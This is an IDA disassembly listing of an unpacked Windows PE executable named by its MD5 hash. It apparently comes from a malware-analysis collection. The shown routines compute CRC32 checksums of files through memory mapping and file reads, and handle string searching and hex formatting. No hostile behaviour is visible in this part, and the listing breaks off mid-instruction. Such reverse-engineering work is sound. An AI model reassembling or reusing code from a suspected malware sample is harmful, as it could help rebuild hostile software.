; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 0CFE2D6216D393385D168103E6D45E2B ; File Name : u:\work\0cfe2d6216d393385d168103e6d45e2b_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00015000 ( 86016.) ; Section size in file : 00015000 ( 86016.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute HSho segment para public 'CODE' use32 assume cs:HSho ;org 401000h assume es:nothing, ss:nothing, ds:HSho, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_404AAE+28p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_4132C8 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401021 proc near ; CODE XREF: sub_4019B0+Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_4132C8 mov ecx, [ebp+var_4] call sub_4010DD mov esp, ebp pop ebp retn sub_401021 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40103D proc near ; CODE XREF: sub_404AAE+38p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h mov [ebp+var_18], ecx mov [ebp+var_4], 0EDB88320h mov ecx, [ebp+var_18] call sub_4010DD push 400h call sub_4114F4 add esp, 4 mov [ebp+var_14], eax mov eax, [ebp+var_18] mov ecx, [ebp+var_14] mov [eax+4], ecx mov [ebp+var_C], 0 jmp short loc_401080 ; --------------------------------------------------------------------------- loc_401077: ; CODE XREF: sub_40103D+9Aj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_401080: ; CODE XREF: sub_40103D+38j cmp [ebp+var_C], 100h jge short loc_4010D9 mov eax, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_10], 8 jmp short loc_4010A1 ; --------------------------------------------------------------------------- loc_401098: ; CODE XREF: sub_40103D:loc_4010C6j mov ecx, [ebp+var_10] sub ecx, 1 mov [ebp+var_10], ecx loc_4010A1: ; CODE XREF: sub_40103D+59j cmp [ebp+var_10], 0 jle short loc_4010C8 mov edx, [ebp+var_8] and edx, 1 test edx, edx jz short loc_4010BE mov eax, [ebp+var_8] shr eax, 1 xor eax, [ebp+var_4] mov [ebp+var_8], eax jmp short loc_4010C6 ; --------------------------------------------------------------------------- loc_4010BE: ; CODE XREF: sub_40103D+72j mov ecx, [ebp+var_8] shr ecx, 1 mov [ebp+var_8], ecx loc_4010C6: ; CODE XREF: sub_40103D+7Fj jmp short loc_401098 ; --------------------------------------------------------------------------- loc_4010C8: ; CODE XREF: sub_40103D+68j mov edx, [ebp+var_18] mov eax, [edx+4] mov ecx, [ebp+var_C] mov edx, [ebp+var_8] mov [eax+ecx*4], edx jmp short loc_401077 ; --------------------------------------------------------------------------- loc_4010D9: ; CODE XREF: sub_40103D+4Aj mov esp, ebp pop ebp retn sub_40103D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010DD proc near ; CODE XREF: sub_401021+13p ; sub_40103D+13p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov ecx, [eax+4] mov [ebp+var_4], ecx mov edx, [ebp+var_4] push edx call sub_4114EE add esp, 4 mov eax, [ebp+var_8] mov dword ptr [eax+4], 0 mov esp, ebp pop ebp retn sub_4010DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401109 proc near ; CODE XREF: HSho:004016A6p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_401109 mov eax, large fs:0 push eax mov large fs:0, esp push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp+var_10], esp mov [ebp+var_14], 1 mov [ebp+var_4], 0 mov [ebp+var_1C], 0 mov [ebp+var_18], 0 lea eax, [ebp+var_18] push eax mov ecx, [ebp+arg_0] push ecx call dword_413024 ; GetFileSize mov [ebp+var_1C], eax cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_40117B call dword_413028 ; RtlGetLastWin32Error test eax, eax jz short loc_40117B mov [ebp+var_14], 0 mov edx, [ebp+arg_4] mov dword ptr [edx], 0 mov dword ptr [edx+4], 0 jmp short loc_40119B ; --------------------------------------------------------------------------- loc_40117B: ; CODE XREF: sub_401109+50j ; sub_401109+5Aj mov eax, [ebp+var_18] xor edx, edx mov ecx, 20h call sub_411580 mov ecx, [ebp+var_1C] xor esi, esi or eax, ecx or edx, esi mov ecx, [ebp+arg_4] mov [ecx], eax mov [ecx+4], edx loc_40119B: ; CODE XREF: sub_401109+70j jmp short loc_4011A7 ; --------------------------------------------------------------------------- loc_40119D: ; DATA XREF: HSho:00414BD4o mov [ebp+var_14], 0 mov eax, offset loc_4011A7 retn ; --------------------------------------------------------------------------- loc_4011A7: ; CODE XREF: sub_401109:loc_40119Bj ; DATA XREF: sub_401109+98o mov [ebp+var_4], 0FFFFFFFFh mov al, [ebp+var_14] mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401109 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset sub_411A7A mov eax, large fs:0 push eax mov large fs:0, esp push ecx sub esp, 0Ch push ebx push esi push edi mov [ebp-10h], esp mov [ebp-1Ch], ecx mov dword ptr [ebp-14h], 0 mov eax, [ebp+0Ch] mov dword ptr [eax], 0FFFFFFFFh mov dword ptr [ebp-4], 0 mov ecx, [ebp-1Ch] cmp dword ptr [ecx+4], 0 jnz short loc_40121C mov dword ptr [ebp-18h], 0 push offset dword_414DC0 lea edx, [ebp-18h] push edx call sub_4115BC ; _CxxThrowException loc_40121C: ; CODE XREF: HSho:00401205j ; HSho:00401241j mov eax, [ebp+8] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_401243 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] mov cl, [eax] push ecx mov ecx, [ebp-1Ch] call sub_4019E0 mov edx, [ebp+8] add edx, 1 mov [ebp+8], edx jmp short loc_40121C ; --------------------------------------------------------------------------- loc_401243: ; CODE XREF: HSho:00401224j jmp short loc_401252 ; --------------------------------------------------------------------------- loc_401245: ; DATA XREF: HSho:00414C2Co mov dword ptr [ebp-14h], 17h mov eax, offset loc_401252 retn ; --------------------------------------------------------------------------- loc_401252: ; CODE XREF: HSho:loc_401243j ; DATA XREF: HSho:0040124Co mov dword ptr [ebp-4], 0FFFFFFFFh mov eax, [ebp+0Ch] mov ecx, [eax] not ecx mov edx, [ebp+0Ch] mov [edx], ecx mov eax, [ebp-14h] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_411A8E mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, 108Ch call sub_4115D0 push ebx push esi push edi mov [ebp-10h], esp mov [ebp-1084h], ecx mov dword ptr [ebp-14h], 0 push 1 lea ecx, [ebp-70h] call dword_41315C mov dword ptr [ebp-4], 0 mov eax, [ebp+0Ch] mov dword ptr [eax], 0FFFFFFFFh mov byte ptr [ebp-4], 1 mov ecx, [ebp-1084h] cmp dword ptr [ecx+4], 0 jnz short loc_4012F7 mov dword ptr [ebp-107Ch], 0 push offset dword_414DC0 lea edx, [ebp-107Ch] push edx call sub_4115BC ; _CxxThrowException loc_4012F7: ; CODE XREF: HSho:004012DAj mov eax, dword_413158 mov ecx, [eax] push ecx push 0A1h mov edx, [ebp+8] push edx lea ecx, [ebp-70h] call dword_413154 lea ecx, [ebp-70h] call dword_413140 mov [ebp-1088h], eax cmp dword ptr [ebp-1088h], 0 jnz short loc_40134D mov eax, [ebp-70h] mov ecx, [eax+4] lea ecx, [ebp+ecx-70h] call dword_413160 mov [ebp-108Ch], eax mov edx, [ebp-108Ch] mov [ebp-14h], edx jmp loc_401400 ; --------------------------------------------------------------------------- loc_40134D: ; CODE XREF: HSho:00401327j push 1000h lea eax, [ebp-1078h] push eax lea ecx, [ebp-70h] call dword_413144 mov [ebp-1090h], eax mov ecx, [ebp-1090h] call dword_413148 mov [ebp-1094h], eax mov ecx, [ebp-1094h] mov [ebp-78h], ecx loc_401383: ; CODE XREF: HSho:004013F5j cmp dword ptr [ebp-78h], 0 jz short loc_4013F7 mov dword ptr [ebp-74h], 0 jmp short loc_40139B ; --------------------------------------------------------------------------- loc_401392: ; CODE XREF: HSho:004013BDj mov edx, [ebp-74h] add edx, 1 mov [ebp-74h], edx loc_40139B: ; CODE XREF: HSho:00401390j mov eax, [ebp-74h] cmp eax, [ebp-78h] jge short loc_4013BF mov ecx, [ebp+0Ch] push ecx mov edx, [ebp-74h] mov al, [ebp+edx-1078h] push eax mov ecx, [ebp-1084h] call sub_4019E0 jmp short loc_401392 ; --------------------------------------------------------------------------- loc_4013BF: ; CODE XREF: HSho:004013A1j push 1000h lea ecx, [ebp-1078h] push ecx lea ecx, [ebp-70h] call dword_413144 mov [ebp-1098h], eax mov ecx, [ebp-1098h] call dword_413148 mov [ebp-109Ch], eax mov edx, [ebp-109Ch] mov [ebp-78h], edx jmp short loc_401383 ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: HSho:00401387j lea ecx, [ebp-70h] call dword_41314C loc_401400: ; CODE XREF: HSho:00401348j jmp short loc_40140F ; --------------------------------------------------------------------------- loc_401402: ; DATA XREF: HSho:00414C8Co mov dword ptr [ebp-14h], 17h mov eax, offset loc_40140F retn ; --------------------------------------------------------------------------- loc_40140F: ; CODE XREF: HSho:loc_401400j ; DATA XREF: HSho:00401409o mov dword ptr [ebp-4], 0 lea ecx, [ebp-70h] call dword_413140 test eax, eax jz short loc_40142C lea ecx, [ebp-70h] call dword_41314C loc_40142C: ; CODE XREF: HSho:00401421j mov eax, [ebp+0Ch] mov ecx, [eax] not ecx mov edx, [ebp+0Ch] mov [edx], ecx mov eax, [ebp-14h] mov [ebp-1080h], eax mov dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp-70h] call dword_413150 mov eax, [ebp-1080h] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40146A proc near ; CODE XREF: sub_404AAE+46p var_102C = dword ptr -102Ch var_1028 = dword ptr -1028h var_1024 = dword ptr -1024h var_1020 = byte ptr -1020h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40146A mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, 101Ch call sub_4115D0 push ebx push esi push edi mov [ebp+var_10], esp mov [ebp+var_102C], ecx mov [ebp+var_18], 0 mov [ebp+var_14], 0 mov eax, [ebp+arg_4] mov dword ptr [eax], 0FFFFFFFFh mov [ebp+var_4], 0 mov ecx, [ebp+var_102C] cmp dword ptr [ecx+4], 0 jnz short loc_4014DE mov [ebp+var_1028], 0 push offset dword_414DC0 lea edx, [ebp+var_1028] push edx call sub_4115BC ; _CxxThrowException loc_4014DE: ; CODE XREF: sub_40146A+57j push 0 push 8000027h push 3 push 0 push 1 push 80000000h mov eax, [ebp+arg_0] push eax call dword_413018 ; CreateFileA mov [ebp+var_14], eax cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_401511 call dword_413028 ; RtlGetLastWin32Error mov [ebp+var_18], eax jmp loc_40159F ; --------------------------------------------------------------------------- loc_401511: ; CODE XREF: sub_40146A+97j push 0 lea ecx, [ebp+var_1024] push ecx push 1000h lea edx, [ebp+var_1020] push edx mov eax, [ebp+var_14] push eax call dword_41301C ; ReadFile mov [ebp+var_20], eax loc_401533: ; CODE XREF: sub_40146A+133j cmp [ebp+var_20], 0 jz short loc_40159F cmp [ebp+var_1024], 0 jz short loc_40159F mov [ebp+var_1C], 0 jmp short loc_401554 ; --------------------------------------------------------------------------- loc_40154B: ; CODE XREF: sub_40146A+10Fj mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_401554: ; CODE XREF: sub_40146A+DFj mov edx, [ebp+var_1C] cmp edx, [ebp+var_1024] jnb short loc_40157B mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_1C] mov dl, [ebp+ecx+var_1020] push edx mov ecx, [ebp+var_102C] call sub_4019E0 jmp short loc_40154B ; --------------------------------------------------------------------------- loc_40157B: ; CODE XREF: sub_40146A+F3j push 0 lea eax, [ebp+var_1024] push eax push 1000h lea ecx, [ebp+var_1020] push ecx mov edx, [ebp+var_14] push edx call dword_41301C ; ReadFile mov [ebp+var_20], eax jmp short loc_401533 ; --------------------------------------------------------------------------- loc_40159F: ; CODE XREF: sub_40146A+A2j ; sub_40146A+CDj ... jmp short loc_4015AE ; --------------------------------------------------------------------------- loc_4015A1: ; DATA XREF: HSho:00414CE4o mov [ebp+var_18], 17h mov eax, offset loc_4015AE retn ; --------------------------------------------------------------------------- loc_4015AE: ; CODE XREF: sub_40146A:loc_40159Fj ; DATA XREF: sub_40146A+13Eo mov [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_14], 0 jz short loc_4015C5 mov eax, [ebp+var_14] push eax call dword_413020 ; CloseHandle loc_4015C5: ; CODE XREF: sub_40146A+14Fj mov ecx, [ebp+arg_4] mov edx, [ecx] not edx mov eax, [ebp+arg_4] mov [eax], edx mov eax, [ebp+var_18] mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_40146A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset sub_411AA2 mov eax, large fs:0 push eax mov large fs:0, esp push ecx sub esp, 38h push ebx push esi push edi mov [ebp-10h], esp mov [ebp-44h], ecx mov dword ptr [ebp-1Ch], 0 mov dword ptr [ebp-18h], 0 mov dword ptr [ebp-14h], 0 mov eax, [ebp+0Ch] mov dword ptr [eax], 0FFFFFFFFh mov dword ptr [ebp-4], 0 mov ecx, [ebp-44h] cmp dword ptr [ecx+4], 0 jnz short loc_40164F mov dword ptr [ebp-40h], 0 push offset dword_414DC0 lea edx, [ebp-40h] push edx call sub_4115BC ; _CxxThrowException loc_40164F: ; CODE XREF: HSho:00401638j push 0 push 8000027h push 3 push 0 push 1 push 80000000h mov eax, [ebp+8] push eax call dword_413018 ; CreateFileA mov [ebp-18h], eax cmp dword ptr [ebp-18h], 0FFFFFFFFh jnz short loc_401682 call dword_413028 ; RtlGetLastWin32Error mov [ebp-1Ch], eax jmp loc_4017D5 ; --------------------------------------------------------------------------- loc_401682: ; CODE XREF: HSho:00401672j mov dword ptr [ebp-2Ch], 0 mov dword ptr [ebp-28h], 0 mov dword ptr [ebp-24h], 0 mov dword ptr [ebp-20h], 0 lea ecx, [ebp-2Ch] push ecx mov edx, [ebp-18h] push edx call sub_401109 add esp, 8 mov [ebp-48h], al mov eax, [ebp-48h] and eax, 0FFh test eax, eax jnz short loc_4016C9 mov dword ptr [ebp-1Ch], 18h jmp loc_4017D5 ; --------------------------------------------------------------------------- loc_4016C9: ; CODE XREF: HSho:004016BBj mov ecx, [ebp-2Ch] or ecx, [ebp-28h] test ecx, ecx jz loc_4017D5 push 0 push 0 push 0 push 2 push 0 mov edx, [ebp-18h] push edx call dword_413070 ; CreateFileMappingA mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0 jnz short loc_401702 call dword_413028 ; RtlGetLastWin32Error mov [ebp-1Ch], eax jmp loc_4017D5 ; --------------------------------------------------------------------------- loc_401702: ; CODE XREF: HSho:004016F2j ; HSho:004017D0j cmp dword ptr [ebp-28h], 0 jl loc_4017D5 jg short loc_401718 cmp dword ptr [ebp-2Ch], 0 jbe loc_4017D5 loc_401718: ; CODE XREF: HSho:0040170Cj cmp dword ptr [ebp-28h], 0 jg short loc_401731 jl short loc_401729 cmp dword ptr [ebp-2Ch], 0A00000h jnb short loc_401731 loc_401729: ; CODE XREF: HSho:0040171Ej mov eax, [ebp-2Ch] mov [ebp-38h], eax jmp short loc_401738 ; --------------------------------------------------------------------------- loc_401731: ; CODE XREF: HSho:0040171Cj ; HSho:00401727j mov dword ptr [ebp-38h], 0A00000h loc_401738: ; CODE XREF: HSho:0040172Fj mov ecx, [ebp-38h] push ecx mov edx, [ebp-24h] push edx mov ecx, 20h mov eax, [ebp-24h] mov edx, [ebp-20h] call sub_411600 and edx, 0 push eax push 4 mov eax, [ebp-14h] push eax call dword_41306C ; MapViewOfFile mov [ebp-34h], eax mov ecx, [ebp-38h] mov [ebp-30h], ecx mov edx, [ebp-34h] mov [ebp-3Ch], edx loc_40176F: ; CODE XREF: HSho:0040179Aj mov eax, [ebp-30h] mov ecx, [ebp-30h] sub ecx, 1 mov [ebp-30h], ecx test eax, eax jbe short loc_40179C mov edx, [ebp+0Ch] push edx mov eax, [ebp-3Ch] mov cl, [eax] push ecx mov ecx, [ebp-44h] call sub_4019E0 mov edx, [ebp-3Ch] add edx, 1 mov [ebp-3Ch], edx jmp short loc_40176F ; --------------------------------------------------------------------------- loc_40179C: ; CODE XREF: HSho:0040177Dj mov eax, [ebp-34h] push eax call dword_413040 ; UnmapViewOfFile mov ecx, [ebp-38h] xor edx, edx mov eax, [ebp-24h] add eax, ecx mov ecx, [ebp-20h] adc ecx, edx mov [ebp-24h], eax mov [ebp-20h], ecx mov edx, [ebp-38h] xor eax, eax mov ecx, [ebp-2Ch] sub ecx, edx mov edx, [ebp-28h] sbb edx, eax mov [ebp-2Ch], ecx mov [ebp-28h], edx jmp loc_401702 ; --------------------------------------------------------------------------- loc_4017D5: ; CODE XREF: HSho:0040167Dj ; HSho:004016C4j ... jmp short loc_4017E4 ; --------------------------------------------------------------------------- loc_4017D7: ; DATA XREF: HSho:00414D3Co mov dword ptr [ebp-1Ch], 17h mov eax, offset loc_4017E4 retn ; --------------------------------------------------------------------------- loc_4017E4: ; CODE XREF: HSho:loc_4017D5j ; DATA XREF: HSho:004017DEo mov dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-18h], 0 jz short loc_4017FB mov eax, [ebp-18h] push eax call dword_413020 ; CloseHandle loc_4017FB: ; CODE XREF: HSho:004017EFj cmp dword ptr [ebp-14h], 0 jz short loc_40180B mov ecx, [ebp-14h] push ecx call dword_413020 ; CloseHandle loc_40180B: ; CODE XREF: HSho:004017FFj mov edx, [ebp+0Ch] mov eax, [edx] not eax mov ecx, [ebp+0Ch] mov [ecx], eax mov eax, [ebp-1Ch] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset sub_411AAC mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, 1018h call sub_4115D0 push ebx push esi push edi mov [ebp-10h], esp mov [ebp-1028h], ecx mov dword ptr [ebp-18h], 0 mov dword ptr [ebp-14h], 0 mov eax, [ebp+0Ch] mov dword ptr [eax], 0FFFFFFFFh mov dword ptr [ebp-4], 0 mov ecx, [ebp-1028h] cmp dword ptr [ecx+4], 0 jnz short loc_4018A1 mov dword ptr [ebp-1024h], 0 push offset dword_414DC0 lea edx, [ebp-1024h] push edx call sub_4115BC ; _CxxThrowException loc_4018A1: ; CODE XREF: HSho:00401884j push 0 push 8000027h push 3 push 0 push 1 push 80000000h mov eax, [ebp+8] push eax call dword_413018 ; CreateFileA mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0FFFFFFFFh jnz short loc_4018D4 call dword_413028 ; RtlGetLastWin32Error mov [ebp-18h], eax jmp loc_401964 ; --------------------------------------------------------------------------- loc_4018D4: ; CODE XREF: HSho:004018C4j push 0 lea ecx, [ebp-1020h] push ecx push 1000h lea edx, [ebp-101Ch] push edx mov eax, [ebp-14h] push eax call dword_41301C ; ReadFile mov [ebp-1Ch], eax loc_4018F6: ; CODE XREF: HSho:00401962j cmp dword ptr [ebp-1Ch], 0 jz short loc_401964 cmp dword ptr [ebp-1020h], 0 jz short loc_401964 push esi push edi mov eax, [ebp+0Ch] mov ecx, [eax] mov ebx, [ebp-1028h] mov edi, [ebx+4] lea esi, [ebp-101Ch] mov ebx, [ebp-1020h] lea edx, [esi+ebx] loc_401924: ; CODE XREF: HSho:00401937j xor eax, eax mov bl, [esi] mov al, cl inc esi xor al, bl shr ecx, 8 mov ebx, [edi+eax*4] xor ecx, ebx cmp edx, esi jnz short loc_401924 pop edi pop esi mov eax, [ebp+0Ch] mov [eax], ecx push 0 lea ecx, [ebp-1020h] push ecx push 1000h lea edx, [ebp-101Ch] push edx mov eax, [ebp-14h] push eax call dword_41301C ; ReadFile mov [ebp-1Ch], eax jmp short loc_4018F6 ; --------------------------------------------------------------------------- loc_401964: ; CODE XREF: HSho:004018CFj ; HSho:004018FAj ... jmp short loc_401973 ; --------------------------------------------------------------------------- loc_401966: ; DATA XREF: HSho:00414D94o mov dword ptr [ebp-18h], 17h mov eax, offset loc_401973 retn ; --------------------------------------------------------------------------- loc_401973: ; CODE XREF: HSho:loc_401964j ; DATA XREF: HSho:0040196Do mov dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-14h], 0 jz short loc_40198A mov ecx, [ebp-14h] push ecx call dword_413020 ; CloseHandle loc_40198A: ; CODE XREF: HSho:0040197Ej mov edx, [ebp+0Ch] mov eax, [edx] not eax mov ecx, [ebp+0Ch] mov [ecx], eax mov eax, [ebp-18h] mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019B0 proc near ; DATA XREF: HSho:off_4132C8o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_401021 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_4019D5 mov ecx, [ebp+var_4] push ecx call sub_4114EE add esp, 4 loc_4019D5: ; CODE XREF: sub_4019B0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4019B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019E0 proc near ; CODE XREF: HSho:00401233p ; HSho:004013B8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_4] mov ecx, [eax] shr ecx, 8 mov edx, [ebp+arg_0] and edx, 0FFh mov eax, [ebp+arg_4] mov eax, [eax] and eax, 0FFh xor edx, eax mov eax, [ebp+var_4] mov eax, [eax+4] xor ecx, [eax+edx*4] mov edx, [ebp+arg_4] mov [edx], ecx mov esp, ebp pop ebp retn 8 sub_4019E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A20 proc near ; CODE XREF: sub_405B91+D0p ; sub_405B91+15Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov [ebp+var_4], 0 loc_401A30: ; CODE XREF: sub_401A20+3Cj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_401A5E mov edx, [ebp+arg_0] add edx, [ebp+var_4] movsx eax, byte ptr [edx] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_401A53 mov eax, [ebp+var_4] jmp short loc_401A61 ; --------------------------------------------------------------------------- loc_401A53: ; CODE XREF: sub_401A20+2Cj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_401A30 ; --------------------------------------------------------------------------- loc_401A5E: ; CODE XREF: sub_401A20+1Bj or eax, 0FFFFFFFFh loc_401A61: ; CODE XREF: sub_401A20+31j mov esp, ebp pop ebp retn 8 sub_401A20 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 mov [ebp-8], ecx mov dword ptr [ebp-4], 0 loc_401A77: ; CODE XREF: HSho:00401A8Dj mov eax, [ebp+8] add eax, [ebp-4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_401A8F mov edx, [ebp-4] add edx, 1 mov [ebp-4], edx jmp short loc_401A77 ; --------------------------------------------------------------------------- loc_401A8F: ; CODE XREF: HSho:00401A82j mov eax, [ebp-4] sub eax, 1 mov [ebp-4], eax loc_401A98: ; CODE XREF: HSho:00401AC4j mov ecx, [ebp+8] add ecx, [ebp-4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_401AC6 mov eax, [ebp+8] add eax, [ebp-4] movsx ecx, byte ptr [eax] movsx edx, byte ptr [ebp+0Ch] cmp ecx, edx jnz short loc_401ABB mov eax, [ebp-4] jmp short loc_401AC9 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: HSho:00401AB4j mov eax, [ebp-4] sub eax, 1 mov [ebp-4], eax jmp short loc_401A98 ; --------------------------------------------------------------------------- loc_401AC6: ; CODE XREF: HSho:00401AA3j or eax, 0FFFFFFFFh loc_401AC9: ; CODE XREF: HSho:00401AB9j mov esp, ebp pop ebp retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401ACF proc near ; CODE XREF: HSho:004025F7p ; sub_4030F7+D8p ... var_2008 = dword ptr -2008h var_2004 = dword ptr -2004h var_2000 = byte ptr -2000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 2008h call sub_4115D0 mov [ebp+var_2008], ecx mov [ebp+var_2004], 0 push 2000h push 0 push offset a97 ; "97" call sub_411622 ; memset add esp, 0Ch loc_401B00: ; CODE XREF: sub_401ACF:loc_401B5Ej mov eax, [ebp+arg_4] add eax, [ebp+arg_8] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_401B60 mov edx, [ebp+arg_4] add edx, [ebp+arg_8] movsx eax, byte ptr [edx] push eax push offset dword_41702C lea ecx, [ebp+var_2000] push ecx call dword_4131E4 ; sprintf add esp, 0Ch lea edx, [ebp+var_2000] push edx push offset a97 ; "97" call dword_413074 ; lstrcatA mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax cmp [ebp+arg_C], 0 jle short loc_401B5E mov ecx, [ebp+arg_C] sub ecx, 1 mov [ebp+arg_C], ecx cmp [ebp+arg_C], 0 jnz short loc_401B5E jmp short loc_401B60 ; --------------------------------------------------------------------------- loc_401B5E: ; CODE XREF: sub_401ACF+7Cj ; sub_401ACF+8Bj jmp short loc_401B00 ; --------------------------------------------------------------------------- loc_401B60: ; CODE XREF: sub_401ACF+3Cj ; sub_401ACF+8Dj push offset a97 ; "97" mov ecx, [ebp+arg_0] call sub_4114FA mov edx, [ebp+var_2004] or edx, 1 mov [ebp+var_2004], edx mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn 10h sub_401ACF endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 230h push edi mov al, ds:byte_419C08 mov [ebp-230h], al mov ecx, 41h xor eax, eax lea edi, [ebp-22Fh] rep stosd stosb mov cl, ds:byte_419C0C mov [ebp-108h], cl mov ecx, 41h xor eax, eax lea edi, [ebp-107h] rep stosd stosb push 104h mov edx, [ebp+8] push edx lea eax, [ebp-230h] push eax call sub_402680 add esp, 0Ch push 104h mov ecx, [ebp+0Ch] push ecx lea edx, [ebp-108h] push edx call sub_402680 add esp, 0Ch lea eax, [ebp-230h] push eax call sub_4021DB add esp, 4 cmp eax, 1 jnz short loc_401C24 push 10000000h call dword_413078 ; RtlSetLastWin32Error xor eax, eax jmp short loc_401C8D ; --------------------------------------------------------------------------- loc_401C24: ; CODE XREF: HSho:00401C13j push 1Eh push 0 lea ecx, [ebp-128h] push ecx call sub_411622 ; memset add esp, 0Ch lea edx, [ebp-230h] mov [ebp-120h], edx lea eax, [ebp-108h] mov 